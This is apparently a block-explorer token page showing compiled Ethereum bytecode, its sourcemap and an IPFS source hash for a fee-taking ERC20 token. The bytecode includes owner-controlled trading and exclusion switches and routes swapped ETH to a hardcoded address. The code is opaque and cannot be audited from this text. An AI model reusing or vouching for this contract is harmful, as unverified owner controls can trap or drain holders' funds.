9c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b699085815260200190565b60405180910390a3600b5415610ba057610ba03061dead610b9b600b54610af7600f5489610e7590919063ffffffff16565b6106af565b610baa83826106a4565b915050610467565b5092915050565b5f610467828461122c565b5f546001600160a01b03828116911614610bdf576011546012555b50565b6012546001600160a01b0382165f9081526003602052604090205411610bdf575f80fd5b601554601454305f9081526002602052604081205460135491938510159211159060ff16158015610c39575060105460ff165b8015610c4e5750600754600160a01b900460ff165b8015610c575750815b8015610c7b57506001600160a01b0386165f9081526005602052604090205460ff16155b8015610c9457506007546001600160a01b038681169116145b8015610c9d5750805b9695505050505050565b6013805460ff19166001908117909155600a546009546008545f93610ce093600293610af7939192610cda928391610bb9565b90610bb9565b90505f610d0282610cfc60085486610e8090919063ffffffff16565b90610e75565b90505f610d0f84836106a4565b905047610d1b82610e8b565b5f610d2647836106a4565b90505f610d48610d41600854886106a490919063ffffffff16565b8390610e75565b90505f610d6060085483610e8090919063ffffffff16565b90508015610d7257610d728682610fdb565b6009545f90610d8690610af7856002610e80565b90508015610dce576040517312bfe4f4421b1e5b76851d51421fac2706d6f30d9082156108fc029083905f818181858888f19350505050158015610dcc573d5f803e3d5ffd5b505b478015610e15576040517312bfe4f4421b1e5b76851d51421fac2706d6f30d9082156108fc029083905f818181858888f19350505050158015610e13573d5f803e3d5ffd5b505b50506013805460ff191690555050505050505050565b6007545f906001600160a01b0390811690831603610e4c5750600d54610390565b6007546001600160a01b0390811690841603610e6b5750600c54610390565b50600e5492915050565b5f610467828461123f565b5f610467828461125e565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ebe57610ebe611275565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f15573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f399190611289565b81600181518110610f4c57610f4c611275565b6001600160a01b039283166020918202929092010152600654610f729130911684610581565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790610faa9085905f908690309042906004016112a4565b5f604051808303815f87803b158015610fc1575f80fd5b505af1158015610fd3573d5f803e3d5ffd5b505050505050565b600654610ff39030906001600160a01b031684610581565b60065460405163f305d71960e01b8152306004820152602481018490525f6044820181905260648201527312bfe4f4421b1e5b76851d51421fac2706d6f30d60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611070573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110959190611313565b5050505050565b5f6020808352835180828501525f5b818110156110c7578581018301518582016040015282016110ab565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bdf575f80fd5b5f806040838503121561110c575f80fd5b8235611117816110e7565b946020939093013593505050565b5f805f60608486031215611137575f80fd5b8335611142816110e7565b92506020840135611152816110e7565b929592945050506040919091013590565b5f60208284031215611173575f80fd5b8135610467816110e7565b5f806040838503121561118f575f80fd5b823561119a816110e7565b9150602083013580151581146111ae575f80fd5b809150509250929050565b5f80604083850312156111ca575f80fd5b82356111d5816110e7565b915060208301356111ae816110e7565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561039057610390611205565b8082018082111561039057610390611205565b5f8261125957634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761039057610390611205565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611299575f80fd5b8151610467816110e7565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156112f25784516001600160a01b0316835293830193918301916001016112cd565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611325575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208044d6e28e52bacc3813ec755b225026295632abca67e5411715b7e239d83fd864736f6c63430008140033
Deployed Bytecode Sourcemap
4883:9206:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7037:67;;;;;;;;;;-1:-1:-1;7097:5:0;;;;;;;;;;;;-1:-1:-1;;;7097:5:0;;;;7037:67;;;;;;;:::i;:::-;;;;;;;;7919:133;;;;;;;;;;-1:-1:-1;7919:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7919:133:0;1023:187:1;8058:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;8058:132:0;1215:177:1;13434:309:0;;;;;;;;;;-1:-1:-1;13434:309:0;;;;;:::i;:::-;;:::i;3259:87::-;;;;;;;;;;-1:-1:-1;3259:87:0;;;;;:::i;:::-;3314:4;3339:5;-1:-1:-1;;;;;3328:16:0;;;3339:5;;3328:16;;3259:87;7187:67;;;;;;;;;;-1:-1:-1;7187:67:0;;5086:1;2252:36:1;;2240:2;2225:18;7187:67:0;2110:184:1;5330:44:0;;;;;;;;;;-1:-1:-1;5330:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7805:108;;;;;;;;;;-1:-1:-1;7805:108:0;;;;;:::i;:::-;;:::i;:::-;;7418:103;;;;;;;;;;-1:-1:-1;7418:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7501:18:0;7484:7;7501:18;;;:9;:18;;;;;;;7418:103;3352:115;;;;;;;;;;;;;:::i;7334:78::-;;;;;;;;;;-1:-1:-1;7386:7:0;7404:5;-1:-1:-1;;;;;7404:5:0;7334:78;;;-1:-1:-1;;;;;2884:32:1;;;2866:51;;2854:2;2839:18;7334:78:0;2720:203:1;7260:68:0;;;;;;;;;;;;;:::i;7110:71::-;;;;;;;;;;-1:-1:-1;7172:7:0;;;;;;;;;;;;-1:-1:-1;;;7172:7:0;;;;7110:71;;5402:19;;;;;;;;;;-1:-1:-1;5402:19:0;;;;-1:-1:-1;;;;;5402:19:0;;;7527:139;;;;;;;;;;-1:-1:-1;7527:139:0;;;;;:::i;:::-;;:::i;7672:127::-;;;;;;;;;;-1:-1:-1;7672:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7770:18:0;;;7753:7;7770:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7672:127;7919:133;7994:4;8001:37;8010:10;8022:7;8031:6;8001:8;:37::i;:::-;-1:-1:-1;8046:4:0;7919:133;;;;;:::o;8058:132::-;7501:9;:18;;;;6138:42;8111:7;7501:18;;;;;8128:12;;8111:7;;8128:60;;7501:18;;8128:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8121:67;;8058:132;:::o;13434:309::-;13532:4;13549:36;13559:6;13567:9;13578:6;13549:9;:36::i;:::-;13596:117;13605:6;13613:10;13625:87;13661:6;13625:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13625:19:0;;;;;;:11;:19;;;;;;;;13645:10;13625:31;;;;;;;;;:87;:35;:87::i;:::-;13596:8;:117::i;:::-;-1:-1:-1;13731:4:0;13434:309;;;;;;:::o;7805:108::-;3314:4;3339:5;-1:-1:-1;;;;;3339:5:0;3226:10;3328:16;3210:38;;;;-1:-1:-1;;;3210:38:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;7879:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;7879:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7805:108::o;3352:115::-;3314:4;3339:5;-1:-1:-1;;;;;3339:5:0;3226:10;3328:16;3210:38;;;;-1:-1:-1;;;3210:38:0;;;;;;;:::i;:::-;3424:1:::1;3408:18:::0;;-1:-1:-1;;;;;;3408:18:0::1;::::0;;3433:32:::1;::::0;2866:51:1;;;3433:32:0::1;::::0;2854:2:1;2839:18;3433:32:0::1;;;;;;;3352:115::o:0;7260:68::-;3314:4;3339:5;-1:-1:-1;;;;;3339:5:0;3226:10;3328:16;3210:38;;;;-1:-1:-1;;;3210:38:0;;;;;;;:::i;:::-;7305:14:::1;:21:::0;;-1:-1:-1;;;;7305:21:0::1;-1:-1:-1::0;;;7305:21:0::1;::::0;;7260:68::o;7527:139::-;7605:4;7612:40;7622:10;7634:9;7645:6;7612:9;:40::i;13751:335::-;-1:-1:-1;;;;;13844:19:0;;13836:68;;;;-1:-1:-1;;;13836:68:0;;3857:2:1;13836:68:0;;;3839:21:1;3896:2;3876:18;;;3869:30;3935:34;3915:18;;;3908:62;-1:-1:-1;;;3986:18:1;;;3979:34;4030:19;;13836:68:0;3655:400:1;13836:68:0;-1:-1:-1;;;;;13923:21:0;;13915:68;;;;-1:-1:-1;;;13915:68:0;;4262:2:1;13915:68:0;;;4244:21:1;4301:2;4281:18;;;4274:30;4340:34;4320:18;;;4313:62;-1:-1:-1;;;4391:18:1;;;4384:32;4433:19;;13915:68:0;4060:398:1;13915:68:0;-1:-1:-1;;;;;13994:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14046:32;;1361:25:1;;;14046:32:0;;1334:18:1;14046:32:0;;;;;;;13751:335;;;:::o;445:82::-;503:7;520:5;524:1;520;:5;:::i;8815:730::-;8916:12;8904:9;:24;8939:37;8950:6;8958:9;8969:6;8939:10;:37::i;:::-;8987:38;9007:6;9015:9;8987:19;:38::i;:::-;9036:30;9048:6;9056:9;9036:11;:30::i;:::-;9077:35;9086:6;9094:9;9105:6;9077:8;:35::i;:::-;-1:-1:-1;;;;;9167:17:0;;9123:18;9167:17;;;:9;:17;;;;;;;;;9226:11;:19;;;;;;;9167:26;;;;;9226:19;;:64;;-1:-1:-1;;;;;9261:17:0;;;;;;:9;:17;;;;;;:29;;9283:6;9261:21;:29::i;:::-;9226:64;;;9248:10;9226:64;-1:-1:-1;;;;;9206:17:0;;;;;;:9;:17;;;;;:84;;;;9326:32;9216:6;9348:9;9326:13;:32::i;:::-;:78;;9398:6;9326:78;;;9361:34;9369:6;9377:9;9388:6;9361:7;:34::i;:::-;-1:-1:-1;;;;;9438:20:0;;;;;;:9;:20;;;;;;9301:103;;-1:-1:-1;9438:40:0;;9301:103;9438:24;:40::i;:::-;-1:-1:-1;;;;;9415:20:0;;;;;;;:9;:20;;;;;;;:63;;;;9494:43;;;;;;;;;;9522:14;1361:25:1;;1349:2;1334:18;;1215:177;9494:43:0;;;;;;;;8893:652;;8815:730;;;:::o;1658:162::-;1744:7;1790:12;1782:6;;;;1774:29;;;;-1:-1:-1;;;1774:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1812:5:0;;;1658:162::o;8467:340::-;-1:-1:-1;;;;;8571:20:0;;8563:70;;;;-1:-1:-1;;;8563:70:0;;4930:2:1;8563:70:0;;;4912:21:1;4969:2;4949:18;;;4942:30;5008:34;4988:18;;;4981:62;-1:-1:-1;;;5059:18:1;;;5052:35;5104:19;;8563:70:0;4728:401:1;8563:70:0;-1:-1:-1;;;;;8652:23:0;;8644:71;;;;-1:-1:-1;;;8644:71:0;;5336:2:1;8644:71:0;;;5318:21:1;5375:2;5355:18;;;5348:30;5414:34;5394:18;;;5387:62;-1:-1:-1;;;5465:18:1;;;5458:33;5508:19;;8644:71:0;5134:399:1;8644:71:0;8751:1;8734:6;:19;8726:73;;;;-1:-1:-1;;;8726:73:0;;5740:2:1;8726:73:0;;;5722:21:1;5779:2;5759:18;;;5752:30;5818:34;5798:18;;;5791:62;-1:-1:-1;;;5869:18:1;;;5862:39;5918:19;;8726:73:0;5538:405:1;8726:73:0;8467:340;;;:::o;9553:191::-;-1:-1:-1;;;;;9646:19:0;;;;;;:11;:19;;;;;;;;9645:20;:47;;;;-1:-1:-1;;;;;;9670:22:0;;;;;;:11;:22;;;;;;;;9669:23;9645:47;9642:95;;;9702:14;;-1:-1:-1;;;9702:14:0;;;;9694:41;;;;-1:-1:-1;;;9694:41:0;;6150:2:1;9694:41:0;;;6132:21:1;6189:2;6169:18;;;6162:30;-1:-1:-1;;;6208:18:1;;;6201:44;6262:18;;9694:41:0;5948:338:1;9694:41:0;9553:191;;:::o;9752:297::-;-1:-1:-1;;;;;9831:19:0;;;;;;:11;:19;;;;;;;;;:45;;-1:-1:-1;;;;;;9854:22:0;;;;;;:11;:22;;;;;;;;9831:45;9828:214;;;9892:18;9903:6;9892:10;:18::i;9828:214::-;9940:4;;-1:-1:-1;;;;;9940:4:0;;;9930:14;;;;9927:115;;8447:9;;-1:-1:-1;;;;;8430:14:0;;;;;;:8;:14;;;;;:26;9553:191;;:::o;9927:115::-;10012:18;10023:6;10012:10;:18::i;12304:173::-;12396:41;12411:6;12419:9;12430:6;12396:14;:41::i;:::-;12393:77;;;12439:29;12454:13;;12439:14;:29::i;12485:160::-;-1:-1:-1;;;;;12591:19:0;;12566:4;12591:19;;;:11;:19;;;;;;;;12590:20;:47;;;;-1:-1:-1;;;;;;;12615:22:0;;;;;:11;:22;;;;;;;;12614:23;;12485:160;-1:-1:-1;12485:160:0:o;12880:546::-;12966:7;13022:1;12989:30;13001:6;13009:9;12989:11;:30::i;:::-;:34;12986:418;;;13035:17;13055:59;13083:30;13095:6;13103:9;13083:11;:30::i;:::-;13066:11;;13055:23;;:6;;:10;:23::i;:::-;:27;;:59::i;:::-;13170:4;13152:24;;;;:9;:24;;;;;;13035:79;;-1:-1:-1;13152:39:0;;13035:79;13152:28;:39::i;:::-;13143:4;13125:24;;;;:9;:24;;;;;;;:66;;;;13207:42;;-1:-1:-1;;;;;13207:42:0;;;;;;;13239:9;1361:25:1;;1349:2;1334:18;;1215:177;13207:42:0;;;;;;;;13263:7;;:20;13260:104;;13285:77;13303:4;6138:42;13325:36;13353:7;;13325:23;13336:11;;13325:6;:10;;:23;;;;:::i;:36::-;13285:9;:77::i;:::-;13381:21;:6;13392:9;13381:10;:21::i;:::-;13374:28;;;;;12986:418;-1:-1:-1;13412:6:0;12880:546;-1:-1:-1;;12880:546:0:o;357:82::-;415:7;432:5;436:1;432;:5;:::i;8291:88::-;8347:5;;-1:-1:-1;;;;;8339:13:0;;;8347:5;;8339:13;8336:40;;8367:9;;8354:10;:22;8336:40;8291:88;:::o;8196:89::-;8271:10;;-1:-1:-1;;;;;8254:14:0;;;;;;:8;:14;;;;;;:27;8246:36;;;;;11924:372;12065:14;;12140:13;;12130:4;12022;7501:18;;;:9;:18;;;;;;12172:8;;12022:4;;12055:24;;;;-1:-1:-1;12112:41:0;;12172:8;;12171:9;:24;;;;-1:-1:-1;12184:11:0;;;;12171:24;:42;;;;-1:-1:-1;12199:14:0;;-1:-1:-1;;;12199:14:0;;;;12171:42;:54;;;;;12217:8;12171:54;:78;;;;-1:-1:-1;;;;;;12230:19:0;;;;;;:11;:19;;;;;;;;12229:20;12171:78;:99;;;;-1:-1:-1;12266:4:0;;-1:-1:-1;;;;;12253:17:0;;;12266:4;;12253:17;12171:99;:117;;;;;12274:14;12171:117;12164:124;11924:372;-1:-1:-1;;;;;;11924:372:0:o;10057:1066::-;6059:8;:15;;-1:-1:-1;;6059:15:0;6070:4;6059:15;;;;;;10194:14:::1;::::0;10176:12:::1;::::0;10152::::1;::::0;6059:8;;10151:66:::1;::::0;10215:1:::1;::::0;10152:57:::1;::::0;10194:14;;10152:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;10151:66::-;10128:89;;10228:32;10263:42;10292:12;10263:24;10274:12;;10263:6;:10;;:24;;;;:::i;:::-;:28:::0;::::1;:42::i;:::-;10228:77:::0;-1:-1:-1;10316:14:0::1;10333:36;:6:::0;10228:77;10333:10:::1;:36::i;:::-;10316:53:::0;-1:-1:-1;10405:21:0::1;10437:24;10316:53:::0;10437:16:::1;:24::i;:::-;10472:20;10495:41;:21;10521:14:::0;10495:25:::1;:41::i;:::-;10472:64;;10547:19;10568:48;10585:30;10602:12;;10585;:16;;:30;;;;:::i;:::-;10568:12:::0;;:16:::1;:48::i;:::-;10547:69;;10627:29;10659;10675:12;;10659:11;:15;;:29;;;;:::i;:::-;10627:61:::0;-1:-1:-1;10702:34:0;;10699:103:::1;;10738:61;10751:24;10777:21;10738:12;:61::i;:::-;10858:12;::::0;10812:20:::1;::::0;10835:36:::1;::::0;:18:::1;:11:::0;10851:1:::1;10835:15;:18::i;:36::-;10812:59:::0;-1:-1:-1;10885:16:0;;10882:73:::1;;10903:50;::::0;6331:42:::1;::::0;10903:50;::::1;;;::::0;10940:12;;10903:50:::1;::::0;;;10940:12;6331:42;10903:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10882:73;10992:21;11027:29:::0;;11024:92:::1;;11058:56;::::0;6430:42:::1;::::0;11058:56;::::1;;;::::0;11097:16;;11058:56:::1;::::0;;;11097:16;6430:42;11058:56;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11024:92;-1:-1:-1::0;;6079:8:0;:16;;-1:-1:-1;;6079:16:0;;;-1:-1:-1;;;;;;;;10057:1066:0:o;12653:219::-;12768:4;;12732:7;;-1:-1:-1;;;;;12768:4:0;;;12755:17;;;;12752:38;;-1:-1:-1;12781:7:0;;12774:14;;12752:38;12813:4;;-1:-1:-1;;;;;12813:4:0;;;12803:14;;;;12800:36;;-1:-1:-1;12826:8:0;;12819:15;;12800:36;-1:-1:-1;12853:11:0;;12653:219;;;;:::o;621:82::-;679:7;696:5;700:1;696;:5;:::i;533:82::-;591:7;608:5;612:1;608;:5;:::i;11482:434::-;11572:16;;;11586:1;11572:16;;;;;;;;11548:21;;11572:16;;;;;;;;;;-1:-1:-1;11572:16:0;11548:40;;11617:4;11599;11604:1;11599:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11599:23:0;;;:7;;;;;;;;;;:23;;;;11643:6;;:13;;;-1:-1:-1;;;11643:13:0;;;;:6;;;;;:11;;:13;;;;;11599:7;;11643:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11633:4;11638:1;11633:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11633:23:0;;;:7;;;;;;;;;:23;11699:6;;11667:53;;11684:4;;11699:6;11708:11;11667:8;:53::i;:::-;11731:6;;:177;;-1:-1:-1;;;11731:177:0;;-1:-1:-1;;;;;11731:6:0;;;;:57;;:177;;11803:11;;11731:6;;11845:4;;11872;;11892:15;;11731:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11537:379;11482:434;:::o;11131:343::-;11244:6;;11212:53;;11229:4;;-1:-1:-1;;;;;11244:6:0;11253:11;11212:8;:53::i;:::-;11276:6;;:190;;-1:-1:-1;;;11276:190:0;;11339:4;11276:190;;;8662:34:1;8712:18;;;8705:34;;;11276:6:0;8755:18:1;;;8748:34;;;8798:18;;;8791:34;6234:42:0;8841:19:1;;;8834:44;11450:15:0;8894:19:1;;;8887:35;-1:-1:-1;;;;;11276:6:0;;;;:22;;11306:9;;8596:19:1;;11276:190:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11131:343;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2299:416::-;2364:6;2372;2425:2;2413:9;2404:7;2400:23;2396:32;2393:52;;;2441:1;2438;2431:12;2393:52;2480:9;2467:23;2499:31;2524:5;2499:31;:::i;:::-;2549:5;-1:-1:-1;2606:2:1;2591:18;;2578:32;2648:15;;2641:23;2629:36;;2619:64;;2679:1;2676;2669:12;2619:64;2702:7;2692:17;;;2299:416;;;;;:::o;2928:388::-;2996:6;3004;3057:2;3045:9;3036:7;3032:23;3028:32;3025:52;;;3073:1;3070;3063:12;3025:52;3112:9;3099:23;3131:31;3156:5;3131:31;:::i;:::-;3181:5;-1:-1:-1;3238:2:1;3223:18;;3210:32;3251:33;3210:32;3251:33;:::i;3321:329::-;3523:2;3505:21;;;3562:1;3542:18;;;3535:29;-1:-1:-1;;;3595:2:1;3580:18;;3573:36;3641:2;3626:18;;3321:329::o;4463:127::-;4524:10;4519:3;4515:20;4512:1;4505:31;4555:4;4552:1;4545:15;4579:4;4576:1;4569:15;4595:128;4662:9;;;4683:11;;;4680:37;;;4697:18;;:::i;6291:125::-;6356:9;;;6377:10;;;6374:36;;;6390:18;;:::i;6421:217::-;6461:1;6487;6477:132;;6531:10;6526:3;6522:20;6519:1;6512:31;6566:4;6563:1;6556:15;6594:4;6591:1;6584:15;6477:132;-1:-1:-1;6623:9:1;;6421:217::o;6643:168::-;6716:9;;;6747;;6764:15;;;6758:22;;6744:37;6734:71;;6785:18;;:::i;6948:127::-;7009:10;7004:3;7000:20;6997:1;6990:31;7040:4;7037:1;7030:15;7064:4;7061:1;7054:15;7080:251;7150:6;7203:2;7191:9;7182:7;7178:23;7174:32;7171:52;;;7219:1;7216;7209:12;7171:52;7251:9;7245:16;7270:31;7295:5;7270:31;:::i;7336:980::-;7598:4;7646:3;7635:9;7631:19;7677:6;7666:9;7659:25;7703:2;7741:6;7736:2;7725:9;7721:18;7714:34;7784:3;7779:2;7768:9;7764:18;7757:31;7808:6;7843;7837:13;7874:6;7866;7859:22;7912:3;7901:9;7897:19;7890:26;;7951:2;7943:6;7939:15;7925:29;;7972:1;7982:195;7996:6;7993:1;7990:13;7982:195;;;8061:13;;-1:-1:-1;;;;;8057:39:1;8045:52;;8152:15;;;;8117:12;;;;8093:1;8011:9;7982:195;;;-1:-1:-1;;;;;;;8233:32:1;;;;8228:2;8213:18;;8206:60;-1:-1:-1;;;8297:3:1;8282:19;8275:35;8194:3;7336:980;-1:-1:-1;;;7336:980:1:o;8933:306::-;9021:6;9029;9037;9090:2;9078:9;9069:7;9065:23;9061:32;9058:52;;;9106:1;9103;9096:12;9058:52;9135:9;9129:16;9119:26;;9185:2;9174:9;9170:18;9164:25;9154:35;;9229:2;9218:9;9214:18;9208:25;9198:35;;8933:306;;;;;:::o
Swarm Source
ipfs://8044d6e28e52bacc3813ec755b225026295632abca67e5411715b7e239d83fd8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.